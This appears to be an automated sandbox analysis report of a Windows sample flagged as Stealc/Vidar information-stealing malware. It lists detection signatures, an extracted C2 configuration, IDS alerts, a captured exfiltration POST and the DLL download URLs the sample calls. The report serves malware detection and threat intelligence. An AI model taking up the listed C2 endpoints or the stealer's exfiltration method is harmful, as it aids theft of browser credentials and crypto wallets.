Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1533088
MD5:	c2340cdfae1dc172c61bf38b4c78f68f
SHA1:	ea33758bdcc9b482607858511a0d96a009951a2d
SHA256:	0e508f63d59e05e4dc3adf8d7c302e734e84377a9122b83828668f09a85abdee
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3660 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C2340CDFAE1DC172C61BF38B4C78F68F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2152965180.0000000005120000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2427149939.000000000149E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.770000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T13:08:10.273049+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T13:08:10.266764+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T13:08:10.500744+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T13:08:12.717416+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T13:08:11.729482+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T13:08:10.036287+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T13:08:12.943188+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:22.511285+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:23.957590+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:24.771146+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:25.479072+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:27.345852+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-14T13:08:27.763745+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 35 39 39 36 33 39 34 41 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 2d 2d 0d 0a Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="hwid"A85996394A222838420810------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="build"doma------GIEHJKEBAAEBGCAAEBFH--

Source: file.exe, 00000000.00000002.2427149939.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll(
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2427149939.00000000014E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllv
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll_
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dlla
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/C
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Z
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)PG
Source: file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)pF
Source: file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6
Source: file.exe, 00000000.00000002.2445801334.0000000029A73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpW
Source: file.exe, 00000000.00000002.2427149939.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpZ
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpla
Source: file.exe, 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2440515408.000000001D9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2451841085.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: HCGDGIDGIJKKEBGDAECA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, HCGDGIDGIJKKEBGDAECA.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2427149939.0000000001510000.00000004.00000020.00020000.00000000.sdmp, GHDAKKJJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2368596214.000000002FB05000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2368596214.000000002FB05000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2368596214.000000002FB05000.00000004.00000020.00020000.00000000.sdmp, JEBGCBAFCGDAAKFIDGIEGDGDHI.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C67B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C67B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C67B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C61F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A70888	0_2_00A70888
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B440C5	0_2_00B440C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B40878	0_2_00B40878
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3B989	0_2_00B3B989
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A39970	0_2_00A39970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B382B6	0_2_00B382B6
